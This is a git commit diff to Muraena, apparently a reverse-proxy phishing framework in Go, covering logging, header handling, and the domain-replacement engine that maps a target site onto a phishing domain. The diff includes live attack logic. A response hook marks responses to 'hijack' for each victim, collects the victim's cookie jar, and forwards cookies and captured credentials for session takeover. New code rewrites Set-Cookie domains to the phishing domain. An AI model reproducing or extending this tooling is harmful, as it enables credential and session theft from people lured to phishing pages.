Better logging and replacement rules

This commit is contained in:
Ohpe 2023-11-22 16:52:11 +01:00
parent 9bc461bade
commit d650d525bb
No known key found for this signature in database
14 changed files with 635 additions and 198 deletions

View file

@ -129,19 +129,13 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
track := muraena.Tracker.TrackRequest(request)
// DROP
dropRequest := false
for _, drop := range sess.Config.Drop {
if request.URL.Path == drop.Path {
dropRequest = true
break
log.Debug("[Dropped] %s", request.URL.Path)
return
}
}
if dropRequest {
log.Debug("[Dropped] %s", request.URL.Path)
return
}
//
// Garbage ..
//
@ -168,11 +162,6 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
// Restore query string with new values
request.URL.RawQuery = query.Encode()
// Remove headers
for _, header := range sess.Config.Remove.Request.Headers {
request.Header.Del(header)
}
// Transform HTTP headers of interest
request.Host = muraena.Target.Host
@ -192,25 +181,32 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
}
}
lhead := fmt.Sprintf("[%s]", request.RemoteAddr)
if sess.Config.Tracking.Enabled {
lhead = fmt.Sprintf("[%s]%s", track.ID, lhead)
}
// Add extra HTTP headers
for _, header := range sess.Config.Craft.Add.Request.Headers {
request.Header.Set(header.Name, header.Value)
}
//l := fmt.Sprintf("%s - [%s][%s%s(%s)%s]", lhead,
// Magenta(request.Method), Magenta(sess.Config.Protocol), Green(muraena.Origin),
// Yellow(muraena.Target), Cyan(request.URL.Path))
// Log line
lhead := fmt.Sprintf("[%s]", getSenderIP(request))
if sess.Config.Tracking.Enabled {
lhead = fmt.Sprintf("[%*s]%s", track.TrackerLength, track.ID, lhead)
}
l := fmt.Sprintf("%s - [%s][%s%s%s]",
l := fmt.Sprintf("%s [%s][%s%s%s]",
lhead,
Magenta(request.Method),
Magenta(sess.Config.Protocol), Yellow(muraena.Target), Cyan(request.URL.Path))
log.Debug(l)
Magenta(sess.Config.Protocol), Yellow(request.Host), Cyan(request.URL.Path))
if track.IsValid() {
log.Debug(l)
} else {
log.Verbose(l)
}
// Remove headers
for _, header := range sess.Config.Remove.Request.Headers {
request.Header.Del(header)
}
//
// BODY
@ -241,6 +237,38 @@ func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error)
return nil
}
// getSenderIP returns the IP address of the client that sent the request.
// It checks the following headers in cascade order:
// - True-Client-IP
// - CF-Connecting-IP
// - X-Forwarded-For
// If none of the headers contain a valid IP, it falls back to RemoteAddr.
// TODO Update Watchdog to use this function
func getSenderIP(req *http.Request) string {
// Define the headers to check in cascade order
headerNames := []string{"True-Client-IP", "CF-Connecting-IP", "X-Forwarded-For"}
// Loop through the headers and return the first non-empty IP address found
for _, headerName := range headerNames {
ipAddress := req.Header.Get(headerName)
if ipAddress != "" {
// The header may contain a comma-separated list of IP addresses; the client's IP is the leftmost one
parts := strings.Split(ipAddress, ",")
clientIP := strings.TrimSpace(parts[0])
return clientIP
}
}
log.Debug("Sender IP not found in headers, falling back to RemoteAddr")
// If none of the headers contain a valid IP, fall back to RemoteAddr
ipPort := req.RemoteAddr
parts := strings.Split(ipPort, ":")
ipAddress := parts[0]
return ipAddress
}
func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err error) {
sess := muraena.Session
@ -340,7 +368,7 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
getSession := false
for _, c := range muraena.Session.Config.Tracking.Urls.AuthSessionResponse {
if response.Request.URL.Path == c {
log.Debug("Going to hijack response: %s (Victim: %+v)", response.Request.URL.Path, victim.ID)
//log.Debug("Going to hijack response: %s (Victim: %+v)", response.Request.URL.Path, victim.ID)
getSession = true
break
}
@ -352,8 +380,12 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
if err != nil {
log.Warning(err.Error())
} else {
victim.GetVictimCookiejar()
go nb.Instrument(victim.ID, victim.Cookies, string(creds))
err := victim.GetVictimCookiejar()
if err != nil {
log.Error(err.Error())
} else {
go nb.Instrument(victim.ID, victim.Cookies, string(creds))
}
}
}
}
@ -362,7 +394,7 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
} else {
if len(response.Cookies()) > 0 {
log.Debug("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
log.Verbose("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
}
}
@ -380,6 +412,18 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
if header == "Set-Cookie" {
for k, value := range response.Header["Set-Cookie"] {
response.Header["Set-Cookie"][k] = replacer.Transform(value, false, base64)
// When the cookie is set for a wildcard domain, we need to replace the domain
// with the phishing domain.
if strings.Contains(response.Header["Set-Cookie"][k], "domain="+replacer.WildcardPrefix()) {
// Replace the domain
domain := strings.Split(response.Header["Set-Cookie"][k], "domain=")[1]
domain = strings.Split(domain, ";")[0]
newDomain := "." + replacer.Phishing
response.Header["Set-Cookie"][k] = strings.Replace(response.Header["Set-Cookie"][k], domain, newDomain, 1)
}
log.Debug("Set-Cookie: %s", response.Header["Set-Cookie"][k])
}
} else {
response.Header.Set(header, replacer.Transform(response.Header.Get(header), false, base64))
@ -410,7 +454,7 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
}
func (muraena *MuraenaProxy) ProxyErrHandler(response http.ResponseWriter, request *http.Request, err error) {
log.Error("[errHandler] \n\t%+v \n\t in request %s %s%s", err, request.Method, request.Host, request.URL.Path)
log.Debug("[errHandler] \n\t%+v \n\t in request %s %s%s", err, request.Method, request.Host, request.URL.Path)
}
func (init *MuraenaProxyInit) Spawn() *MuraenaProxy {

View file

@ -8,7 +8,6 @@ import (
"io"
"io/ioutil"
"net/http"
"net/url"
"strconv"
"strings"
@ -130,23 +129,15 @@ func ArmorDomain(slice []string) []string {
// make it lowercase
entry = strings.ToLower(entry)
// if string is URL encoded, decode it
if strings.Contains(entry, "%") {
decodedURL, err := url.QueryUnescape(entry)
if err == nil {
entry = decodedURL
}
// if string begins with a protocol, remove it
if strings.HasPrefix(entry, "http://") {
entry = strings.TrimPrefix(entry, "http://")
} else if strings.HasPrefix(entry, "https://") {
entry = strings.TrimPrefix(entry, "https://")
}
// if string contains protocol, remove it
if strings.Contains(entry, "://") {
entry = strings.Split(entry, "://")[1]
}
// remove anything after the / (if any)
if strings.Contains(entry, "/") {
entry = strings.Split(entry, "/")[0]
}
// remove everything after the / (if any)
entry = strings.Split(entry, "/")[0]
list = append(list, entry)
}
@ -161,7 +152,6 @@ func isWildcard(s string) bool {
// IsSubdomain checks if a string is a subdomain of another string.
// It returns true if the given string is a subdomain of the root string.
func IsSubdomain(root string, subdomain string) bool {
// TODO: add support for wildcard domains
return strings.HasSuffix(subdomain, root)
}

View file

@ -4,6 +4,8 @@ import (
"encoding/json"
"fmt"
"io/ioutil"
"regexp"
"sort"
"strings"
"sync"
@ -15,7 +17,7 @@ import (
const ReplaceFile = "session.json"
const CustomWildcardSeparator = "---"
const WildcardPrefix = "wld"
const WildcardLabel = "wld"
// Replacer structure used to populate the transformation rules
type Replacer struct {
@ -27,14 +29,14 @@ type Replacer struct {
WildcardMapping map[string]string
CustomResponseTransformations [][]string
ForwardReplacements []string `json:"-"`
ForwardWildcardReplacements []string `json:"-"`
BackwardReplacements []string `json:"-"`
BackwardWildcardReplacements []string `json:"-"`
LastForwardReplacements []string `json:"-"`
LastBackwardReplacements []string `json:"-"`
WildcardDomain string `json:"-"`
// Ignore from JSON export
loopCount int
mu sync.RWMutex
mu sync.RWMutex
}
// Init initializes the Replacer struct.
@ -61,12 +63,12 @@ func (r *Replacer) Init(s session.Session) error {
r.SetExternalOrigins(s.Config.Crawler.ExternalOrigins)
r.SetOrigins(s.Config.Crawler.OriginsMapping)
r.SetCustomResponseTransformations(s.Config.Transform.Response.Custom)
if err = r.DomainMapping(); err != nil {
return err
}
r.SetCustomResponseTransformations(s.Config.Transform.Response.Custom)
r.MakeReplacements()
// Save the replacer
@ -78,16 +80,49 @@ func (r *Replacer) Init(s session.Session) error {
return nil
}
// WildcardPrefix returns the wildcard prefix used in the transformation rules.
func (r *Replacer) WildcardPrefix() string {
// XXXwld
return fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardLabel)
}
// getCustomWildCardSeparator returns the custom wildcard separator used in the transformation rules.
// <CustomWildcardSeparator><ExternalOriginPrefix><WildcardLabel>
func (r *Replacer) getCustomWildCardSeparator() string {
return fmt.Sprintf("%s%s%s", CustomWildcardSeparator, r.ExternalOriginPrefix, WildcardLabel)
}
// WildcardRegex returns the wildcard regex used in the transformation rules.
// Returns a string in the format [a-zA-Z0-9.-]+.WildcardPrefix()
func (r *Replacer) WildcardRegex(custom bool) string {
if custom {
return fmt.Sprintf(`[a-zA-Z0-9\.-]+%s`, r.getCustomWildCardSeparator())
} else {
return fmt.Sprintf(`[a-zA-Z0-9\.-]+%s`, r.WildcardPrefix())
}
}
// SetCustomResponseTransformations sets the CustomResponseTransformations used in the transformation rules.
func (r *Replacer) SetCustomResponseTransformations(newTransformations [][]string) {
// For each wildcard domain, create a new transformation
for _, wld := range r.GetWildcardMapping() {
w := fmt.Sprintf("%s.%s", wld, r.Phishing)
newTransformations = append(newTransformations, []string{
fmt.Sprintf("\"%s", w),
fmt.Sprintf("\"%s%s", CustomWildcardSeparator, w),
})
newTransformations = append(newTransformations, []string{
fmt.Sprintf("\".%s", w),
fmt.Sprintf("\"%s%s", CustomWildcardSeparator, w),
})
}
r.mu.Lock()
defer r.mu.Unlock()
// Append to newTransformations the wildcard custom patch:
// any ".wldXXXXX.domain" should be replaced with:
// ".wldXXXXX.domain" -> "---wldXXXX.domain"
// this to address dynamic JS code that uses the wildcard domain
if r.CustomResponseTransformations == nil {
r.CustomResponseTransformations = newTransformations
return
@ -126,19 +161,16 @@ func (r *Replacer) GetExternalOrigins() []string {
}
// SetExternalOrigins sets the ExternalOrigins used in the transformation rules.
func (r *Replacer) SetExternalOrigins(newOrigins []string) {
func (r *Replacer) SetExternalOrigins(origins []string) {
r.mu.Lock()
if r.ExternalOrigin == nil {
r.ExternalOrigin = make([]string, 0)
}
// merge newOrigins to r.ExternalOrigin and avoid duplicate
for _, v := range ArmorDomain(newOrigins) {
//if strings.HasPrefix(v, "-") {
// continue
//}
// merge origins to r.ExternalOrigin and avoid duplicate
for _, v := range ArmorDomain(origins) {
v = strings.TrimPrefix(v, ".")
if strings.Contains(v, r.getCustomWildCardSeparator()) {
continue
}
@ -151,9 +183,10 @@ func (r *Replacer) SetExternalOrigins(newOrigins []string) {
}
r.ExternalOrigin = ArmorDomain(r.ExternalOrigin)
r.mu.Unlock()
r.mu.Unlock()
r.MakeReplacements()
}
// GetOrigins returns the Origins mapping used in the transformation rules.
@ -185,13 +218,101 @@ func (r *Replacer) SetOrigins(newOrigins map[string]string) {
r.mu.Lock()
defer r.mu.Unlock()
// merge newOrigins to r.newOrigins and avoid duplicate
// count the number of new origins
count := len(r.Origins)
for k, v := range newOrigins {
k = strings.ToLower(k)
if v == "-1" {
count++
v = fmt.Sprintf("%d", count)
}
r.Origins[k] = v
}
}
// SetForwardReplacements sets the ForwardReplacements used in the transformation rules.
func (r *Replacer) SetForwardReplacements(replacements []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.ForwardReplacements = replacements
}
// SetForwardWildcardReplacements sets the ForwardWildcardReplacements used in the transformation rules.
func (r *Replacer) SetForwardWildcardReplacements(replacements []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.ForwardWildcardReplacements = replacements
}
// SetBackwardReplacements sets the BackwardReplacements used in the transformation rules.
func (r *Replacer) SetBackwardReplacements(replacements []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.BackwardReplacements = replacements
}
// SetBackwardWildcardReplacements sets the BackwardWildcardReplacements used in the transformation rules.
func (r *Replacer) SetBackwardWildcardReplacements(replacements []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.BackwardWildcardReplacements = replacements
}
// SetLastForwardReplacements sets the LastForwardReplacements used in the transformation rules.
func (r *Replacer) SetLastForwardReplacements(replacements []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.LastForwardReplacements = replacements
}
// SetLastBackwardReplacements sets the LastBackwardReplacements used in the transformation rules.
func (r *Replacer) SetLastBackwardReplacements(replacements []string) {
r.mu.Lock()
defer r.mu.Unlock()
r.LastBackwardReplacements = replacements
}
// GetWildcardMapping returns the WildcardMapping used in the transformation rules.
// It returns a copy of the internal map.
func (r *Replacer) GetWildcardMapping() map[string]string {
r.mu.Lock()
// Make a copy of the WildcardMapping and return it
ret := make(map[string]string)
for k, v := range r.WildcardMapping {
ret[k] = v
}
r.mu.Unlock()
return ret
}
// SetWildcardMapping sets the WildcardMapping used in the transformation rules.
func (r *Replacer) SetWildcardMapping(domain, mapping string) {
r.mu.Lock()
defer r.mu.Unlock()
r.WildcardMapping[domain] = mapping
}
// SetWildcardDomain sets the WildcardDomain used in the transformation rules.
func (r *Replacer) SetWildcardDomain(domain string) {
r.mu.Lock()
defer r.mu.Unlock()
r.WildcardDomain = domain
}
// Contains checks if a string is contained in a slice.
func contains(slice []string, s string) bool {
for _, v := range slice {
@ -209,11 +330,6 @@ func (r *Replacer) Save() error {
return saveToJSON(ReplaceFile, r)
}
func (r *Replacer) getCustomWildCardSeparator() string {
// ---XXXwld
return fmt.Sprintf("%s%s%s", CustomWildcardSeparator, r.ExternalOriginPrefix, WildcardPrefix)
}
// saveToJSON saves the Replacer struct to a file as JSON.
func saveToJSON(filename string, replacer *Replacer) error {
data, err := json.MarshalIndent(replacer, "", "\t")
@ -248,3 +364,112 @@ func loadFromJSON(filename string) (*Replacer, error) {
return &replacer, nil
}
type replacement struct {
OldVal string
NewVal string
}
// GetBackwardReplacements returns the BackwardReplacements used in the transformation rules.
// It returns a copy of the internal slice sorted by length in descending order.
func (r *Replacer) GetBackwardReplacements() []string {
r.mu.Lock()
defer r.mu.Unlock()
return sortReplacementsByLength(r.BackwardReplacements, false)
}
// GetForwardReplacements returns the ForwardReplacements used in the transformation rules.
// It returns a copy of the internal slice sorted by length in descending order.
func (r *Replacer) GetForwardReplacements() []string {
r.mu.Lock()
defer r.mu.Unlock()
return append(
sortReplacementsByLength(r.ForwardReplacements, true),
sortReplacementsByLength(r.ForwardWildcardReplacements, true)...,
)
}
// GetLastForwardReplacements returns the LastForwardReplacements used in the transformation rules.
// It returns a copy of the internal slice sorted by length in descending order.
func (r *Replacer) GetLastForwardReplacements() []string {
r.mu.Lock()
defer r.mu.Unlock()
return sortReplacementsByLength(r.LastForwardReplacements, true)
}
// GetLastBackwardReplacements returns the LastBackwardReplacements used in the transformation rules.
// It returns a copy of the internal slice sorted by length in descending order.
func (r *Replacer) GetLastBackwardReplacements() []string {
r.mu.Lock()
defer r.mu.Unlock()
return append(
sortReplacementsByLength(r.LastBackwardReplacements, false),
sortReplacementsByLength(r.BackwardWildcardReplacements, false)...,
)
}
// caseInsensitiveReplace replaces the old values with the new values in the input string.
func caseInsensitiveReplace(input string, r []string) (string, error) {
replacements, err := convertToReplacements(r)
if err != nil {
return "", err
}
for _, r := range replacements {
re, err := regexp.Compile(`(?i)` + regexp.QuoteMeta(r.OldVal))
if err != nil {
return "", err
}
input = re.ReplaceAllString(input, r.NewVal)
}
return input, nil
}
// convertToReplacements converts a slice of strings to a slice of replacements.
func convertToReplacements(slice []string) ([]replacement, error) {
if len(slice)%2 != 0 {
return nil, fmt.Errorf("slice must have an even number of elements")
}
var replacements []replacement
for i := 0; i < len(slice); i += 2 {
replacements = append(replacements, replacement{
OldVal: slice[i],
NewVal: slice[i+1],
})
}
return replacements, nil
}
// sortReplacementsByLength sorts the replacements by length in descending order.
func sortReplacementsByLength(r []string, forward bool) (new []string) {
replacements, err := convertToReplacements(r)
if err != nil {
log.Warning("Error converting replacements: %s", err)
return
}
if forward {
sort.Slice(replacements, func(i, j int) bool {
return len(replacements[i].NewVal) > len(replacements[j].NewVal)
})
} else {
sort.Slice(replacements, func(i, j int) bool {
return len(replacements[i].OldVal) > len(replacements[j].OldVal)
})
}
// convert replacements back to a slice of strings
new = make([]string, 0)
for _, rr := range replacements {
new = append(new, rr.OldVal, rr.NewVal)
}
return
}

View file

@ -4,10 +4,8 @@
// HTTP reverse proxy handler
//
// NOTE:
// This version has been modified for the Muraena needs, for instance removing the X-Forwarded-For header
//
package proxy
import (
@ -29,7 +27,7 @@ type ReverseProxy struct {
// the request into a new request to be sent
// using Transport. Its response is then copied
// back to the original client unmodified.
// Director must not access the provided Request
// Director must not access the provided RequestTemplate
// after returning.
Director func(*http.Request)

View file

@ -67,7 +67,7 @@ func Run(sess *session.Session) {
// Defer the recovery function in case of panic
defer func() {
if err := recover(); err != nil {
log.Error("Recovered from panic: %s", err)
log.Warning("Recovered from panic: %s", err)
}
}()

View file

@ -7,6 +7,7 @@ import (
"strings"
"github.com/evilsocket/islazy/tui"
"golang.org/x/net/html"
"github.com/muraenateam/muraena/core"
"github.com/muraenateam/muraena/log"
@ -38,25 +39,27 @@ type Base64 struct {
// Base64:
// Since some request parameter values can be base64 encoded, we need to decode first,
// apply the transformation and re-encode (hello ReCaptcha)
func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result string) {
// TODO: the b64 can be set into the Replacer struct
func (r *Replacer) Transform(input string, forward bool, b64 Base64, repetitions ...int) (result string) {
source := strings.TrimSpace(input)
if source == "" {
return source
}
count := 0
if len(repetitions) > 0 {
count = repetitions[0]
}
var replacements []string
var lastReplacements []string
if forward { // used in Requests
// if source contains ---XXwld, we need to patch the wildcard
wildCardSeparator := r.getCustomWildCardSeparator()
if strings.Contains(source, wildCardSeparator) {
// Extract all urls from the source containing ---XXwld
// and patch the wildcard
regex := fmt.Sprintf("[a-zA-Z0-9.-]+%s\\d+.%s", wildCardSeparator, r.Phishing)
re := regexp.MustCompile(regex)
// Extract all urls from the source containing ---XXwld and patch the wildcard
re := regexp.MustCompile(fmt.Sprintf(`%s\d+.%s`, r.WildcardRegex(true), r.Phishing))
matchSubdomains := re.FindAllString(source, -1)
matchSubdomains = ArmorDomain(matchSubdomains)
if len(matchSubdomains) > 0 {
@ -69,36 +72,82 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
log.Verbose("Source after wildcard patching: %s", source)
}
}
replacements = r.ForwardReplacements
lastReplacements = r.LastForwardReplacements
} else { // used in Responses
replacements = r.BackwardReplacements
lastReplacements = r.LastBackwardReplacements
replacements = r.GetForwardReplacements()
lastReplacements = r.GetLastForwardReplacements()
} else {
// used in Responses
replacements = r.GetBackwardReplacements()
lastReplacements = r.GetLastBackwardReplacements()
}
// Handling of base64 encoded data which should be decoded before transformation
source, base64Found, padding := transformBase64(source, b64, true, Base64Padding)
// Replace transformation
result = strings.NewReplacer(replacements...).Replace(source)
// do last replacements
result = strings.NewReplacer(lastReplacements...).Replace(result)
if count > 2 {
log.Verbose("Too many transformation loops, switch to a case insentive replace:")
// Replace transformation
var err error
result, err = caseInsensitiveReplace(source, replacements)
if err != nil {
log.Error(err.Error())
return
}
// do last replacements
result, err = caseInsensitiveReplace(result, lastReplacements)
if err != nil {
log.Error(err.Error())
return
}
} else {
// Replace transformation
result = strings.NewReplacer(replacements...).Replace(source)
// do last replacements
result = strings.NewReplacer(lastReplacements...).Replace(result)
}
// Re-encode if base64 encoded data was found
if base64Found {
result, _, _ = transformBase64(result, b64, false, padding)
}
// TODO this could go into trasform URL with the forward parameter..
if !forward {
// if it's a URL, we need to transform the query string as well
// if begins with http:// or https://
if strings.HasPrefix(result, "http://") || strings.HasPrefix(result, "https://") {
newURL, err := r.transformBackwardUrl(result, b64)
if err == nil {
result = newURL
}
}
if strings.HasPrefix(result, "<html") || strings.HasPrefix(result, "<!DOCTYPE") {
if strings.Contains(result, "://") {
newResult := result
urls := extractURLsFromHTML(result)
for _, url := range urls {
newURL, err := r.transformBackwardUrl(url, b64)
if err == nil {
newResult = strings.ReplaceAll(newResult, url, newURL)
}
}
result = newResult
}
}
}
// If the result is the same as the input, we don't need to do anything else
if source != result {
// Find wildcard matching
if Wildcards {
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
wldPrefix := r.WildcardPrefix()
if strings.Contains(result, "."+wldPrefix) {
var rep []string
@ -111,7 +160,7 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
}
domain := regexp.QuoteMeta(r.Phishing)
re := regexp.MustCompile(fmt.Sprintf(`[a-zA-Z0-9.-]+%s\d+.%s`, WildcardPrefix, domain))
re := regexp.MustCompile(fmt.Sprintf(`%s\d+.%s`, r.WildcardRegex(false), domain))
matchSubdomains := re.FindAllString(result, -1)
matchSubdomains = ArmorDomain(matchSubdomains)
if len(matchSubdomains) > 0 {
@ -123,16 +172,16 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
continue
}
if strings.HasPrefix(element, ".") {
if strings.HasPrefix(element, r.getCustomWildCardSeparator()) {
continue
}
if strings.HasPrefix(element, wldPrefix) {
if strings.HasPrefix(element, "."+wldPrefix) {
continue
}
// Patch the wildcard
element = strings.ReplaceAll(element, "."+wldPrefix, "-"+wldPrefix)
element = strings.ReplaceAll(element, "."+wldPrefix, CustomWildcardSeparator+wldPrefix)
rep = append(rep, element)
}
@ -159,15 +208,17 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
}
r.MakeReplacements()
r.loopCount++
count++
log.Verbose("We need another (#%d) transformation loop, because of this new domains:%s",
r.loopCount, tui.Green(fmt.Sprintf("%v", rep)))
if r.loopCount > 30 {
count, tui.Green(fmt.Sprintf("%v", rep)))
if count > 5 {
log.Debug("Too many transformation loops, aborting.")
return
}
return r.Transform(input, forward, b64)
// Pass count in as a parameter to avoid infinite loop
return r.Transform(input, forward, b64, count)
}
}
}
@ -176,22 +227,61 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
return
}
func extractURLsFromHTML(htmlContent string) []string {
var urls []string
tokenizer := html.NewTokenizer(strings.NewReader(htmlContent))
for {
tokenType := tokenizer.Next()
switch tokenType {
case html.ErrorToken:
return urls
case html.StartTagToken, html.SelfClosingTagToken:
token := tokenizer.Token()
if token.Data == "a" {
for _, attr := range token.Attr {
if attr.Key == "href" {
// Manually re-encode the URL to preserve the original encoding
encodedURL := html.EscapeString(attr.Val)
urls = append(urls, encodedURL)
}
}
}
}
}
}
func (r *Replacer) PatchComposedWildcardURL(URL string) (result string) {
result = URL
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
if strings.Contains(result, "---"+wldPrefix) {
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardLabel)
if strings.Contains(result, CustomWildcardSeparator+wldPrefix) {
subdomain := strings.Split(result, "---")[0]
wildcard := strings.Split(result, "---")[1]
// URL decode result
decodedValue, err := url.QueryUnescape(result)
if err == nil && result != decodedValue {
result = decodedValue
}
// this could be a nested url, so we need to extract the subdomain
// we need to remove the protocol, anything before ://
if strings.Contains(result, "://") {
// starting from last occurrence of ://
c := strings.Split(result, "://")
result = c[len(c)-1]
}
subdomain := strings.Split(result, CustomWildcardSeparator)[0]
wildcard := strings.Split(result, CustomWildcardSeparator)[1]
// remove r.Phishing from the wildcard
wildcard = strings.Split(wildcard, "."+r.Phishing)[0]
wildcard = strings.Split(wildcard, "/")[0] // just in case...
path := ""
if strings.Contains(URL, r.Phishing+"/") {
path = "/" + strings.Split(URL, r.Phishing+"/")[1]
if strings.Contains(result, r.Phishing+"/") {
path = "/" + strings.Split(result, r.Phishing+"/")[1]
}
wildcard = strings.Split(wildcard, "/")[0]
wildcard = strings.TrimSuffix(wildcard, fmt.Sprintf(".%s", r.Phishing))
//wildcard = strings.TrimSuffix(wildcard, fmt.Sprintf(".%s", r.Phishing))
domain := fmt.Sprintf("%s.%s", subdomain, r.patchWildcard(wildcard))
log.Info("Wildcard to patch: %s (%s)", tui.Bold(tui.Red(result)), tui.Green(domain))
@ -203,13 +293,22 @@ func (r *Replacer) PatchComposedWildcardURL(URL string) (result string) {
domain = strings.Split(domain, "://")[1]
}
r.SetExternalOrigins([]string{domain})
if err := r.DomainMapping(); err != nil {
log.Error(err.Error())
return
}
//origins := r.GetOrigins()
//if sub, ok := origins[domain]; ok {
// log.Info("%s is mapped to %s", tui.Bold(tui.Red(domain)), tui.Green(sub))
// result = fmt.Sprintf("%s%s.%s%s", protocol, sub, r.Phishing, path)
// return
//}
if err := r.Save(); err != nil {
log.Error("Error saving replacer: %s", err)
}
r.MakeReplacements()
result = fmt.Sprintf("%s%s%s", protocol, domain, path)
}
@ -276,14 +375,82 @@ func (r *Replacer) transformUrl(URL string, base64 Base64) (result string, err e
return
}
// TODO merge the transformURL and transformBackwardURL
func (r *Replacer) transformBackwardUrl(URL string, base64 Base64) (result string, err error) {
result = URL
// After initial transformation round.
// If the input is a valid URL proceed by transforming also the query string
hURL, err := url.Parse(result)
if err != nil || hURL.Scheme == "" || hURL.Host == "" {
// Not valid URL, but continue anyway it might be the case of different values.
// Log the error and reset its value
// log.Debug("Error while url.Parsing: %s\n%s", result, err)
err = nil
return
}
queryParts := strings.Split(hURL.RawQuery, "&")
// Create a slice to store key-value pairs
var params []string
for _, part := range queryParts {
keyValue := strings.Split(part, "=")
if len(keyValue) == 2 {
params = append(params, part)
}
}
// Modify the values
for i, param := range params {
keyValue := strings.Split(param, "=")
if len(keyValue) == 2 {
key := keyValue[0]
value := keyValue[1]
// URL-decode the value
decodedValue, err := url.QueryUnescape(value)
if err == nil {
value = r.Transform(decodedValue, false, base64)
} else {
value = r.Transform(value, false, base64)
}
// URL-encode the modified value
encodedValue := url.QueryEscape(value)
params[i] = key + "=" + encodedValue
}
}
// Join the modified key-value pairs and set them as the new RawQuery
hURL.RawQuery = strings.Join(params, "&")
result = hURL.String()
return
}
// PatchWildcardList patches the wildcard domains in the list
// and returns the patched list of domains to be used in the replacer
// TODO: RENAME ME
func (r *Replacer) patchWildcardList(rep []string) (prep []string) {
rep = ArmorDomain(rep)
for _, s := range rep {
w := r.patchWildcard(s)
if w != "" {
prep = append(prep, w)
x := strings.Split(s, CustomWildcardSeparator)
if len(x) < 2 {
continue
}
subdomain := strings.Split(s, CustomWildcardSeparator)[0]
wildcard := strings.Split(s, CustomWildcardSeparator)[1]
wildcard = strings.Split(wildcard, "/")[0]
//domain := r.patchWildcard(s)
domain := fmt.Sprintf("%s.%s", subdomain, r.patchWildcard(wildcard))
if domain != "" {
prep = append(prep, domain)
}
}
@ -293,8 +460,11 @@ func (r *Replacer) patchWildcardList(rep []string) (prep []string) {
func (r *Replacer) patchWildcard(rep string) (prep string) {
found := false
newDomain := strings.TrimSuffix(rep, fmt.Sprintf(".%s", r.Phishing))
for w, d := range r.WildcardMapping {
for w, d := range r.GetWildcardMapping() {
if strings.HasSuffix(newDomain, d) {
// TODO: This is unclear ..
newDomain = strings.TrimSuffix(newDomain, d)
newDomain = strings.TrimSuffix(newDomain, "-")
if newDomain != "" {
@ -320,14 +490,14 @@ func (r *Replacer) MakeReplacements() {
//
origins := r.GetOrigins()
r.ForwardReplacements = []string{}
r.ForwardReplacements = append(r.ForwardReplacements, []string{r.Phishing, r.Target}...)
r.SetForwardReplacements([]string{})
r.SetForwardReplacements(append(r.ForwardReplacements, []string{r.Phishing, r.Target}...))
log.Debug("[Forward | Origins]: %d", len(origins))
log.Verbose("[Forward | Origins]: %d", len(origins))
count := len(r.ForwardReplacements)
for extOrigin, subMapping := range origins { // changes resource-1.phishing.
if strings.HasPrefix(subMapping, WildcardPrefix) {
if strings.HasPrefix(subMapping, WildcardLabel) {
// Ignoring wildcard at this stage
log.Debug("[Wildcard] %s - %s", tui.Yellow(subMapping), tui.Green(extOrigin))
continue
@ -336,18 +506,19 @@ func (r *Replacer) MakeReplacements() {
from := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
to := extOrigin
rep := []string{from, to}
r.ForwardReplacements = append(r.ForwardReplacements, rep...)
r.SetForwardReplacements(append(r.ForwardReplacements, rep...))
count++
log.Verbose("[Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
}
// Append wildcards at the end
for extOrigin, subMapping := range r.WildcardMapping {
r.SetForwardWildcardReplacements([]string{})
for extOrigin, subMapping := range r.GetWildcardMapping() {
from := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
to := extOrigin
rep := []string{from, to}
r.ForwardReplacements = append(r.ForwardReplacements, rep...)
r.SetForwardWildcardReplacements(append(r.ForwardWildcardReplacements, rep...))
count++
log.Verbose("[Wild Forward | replacements #%d]: %s > %s", count, tui.Yellow(rep[0]), tui.Green(to))
@ -356,13 +527,13 @@ func (r *Replacer) MakeReplacements() {
//
// Responses
//
r.BackwardReplacements = []string{}
r.BackwardReplacements = append(r.BackwardReplacements, []string{r.Target, r.Phishing}...)
r.SetBackwardReplacements([]string{})
r.SetBackwardReplacements(append(r.BackwardReplacements, []string{r.Target, r.Phishing}...))
count = 0
for include, subMapping := range origins {
if strings.HasPrefix(subMapping, WildcardPrefix) {
if strings.HasPrefix(subMapping, WildcardLabel) {
// Ignoring wildcard at this stage
log.Verbose("[Wildcard] %s - %s", tui.Yellow(subMapping), tui.Green(include))
continue
@ -371,39 +542,39 @@ func (r *Replacer) MakeReplacements() {
from := include
to := fmt.Sprintf("%s.%s", subMapping, r.Phishing)
rep := []string{from, to}
r.BackwardReplacements = append(r.BackwardReplacements, rep...)
r.SetBackwardReplacements(append(r.BackwardReplacements, rep...))
count++
log.Verbose("[Backward | replacements #%d]: %s < %s", count, tui.Green(rep[0]), tui.Yellow(to))
}
// Append wildcards at the end
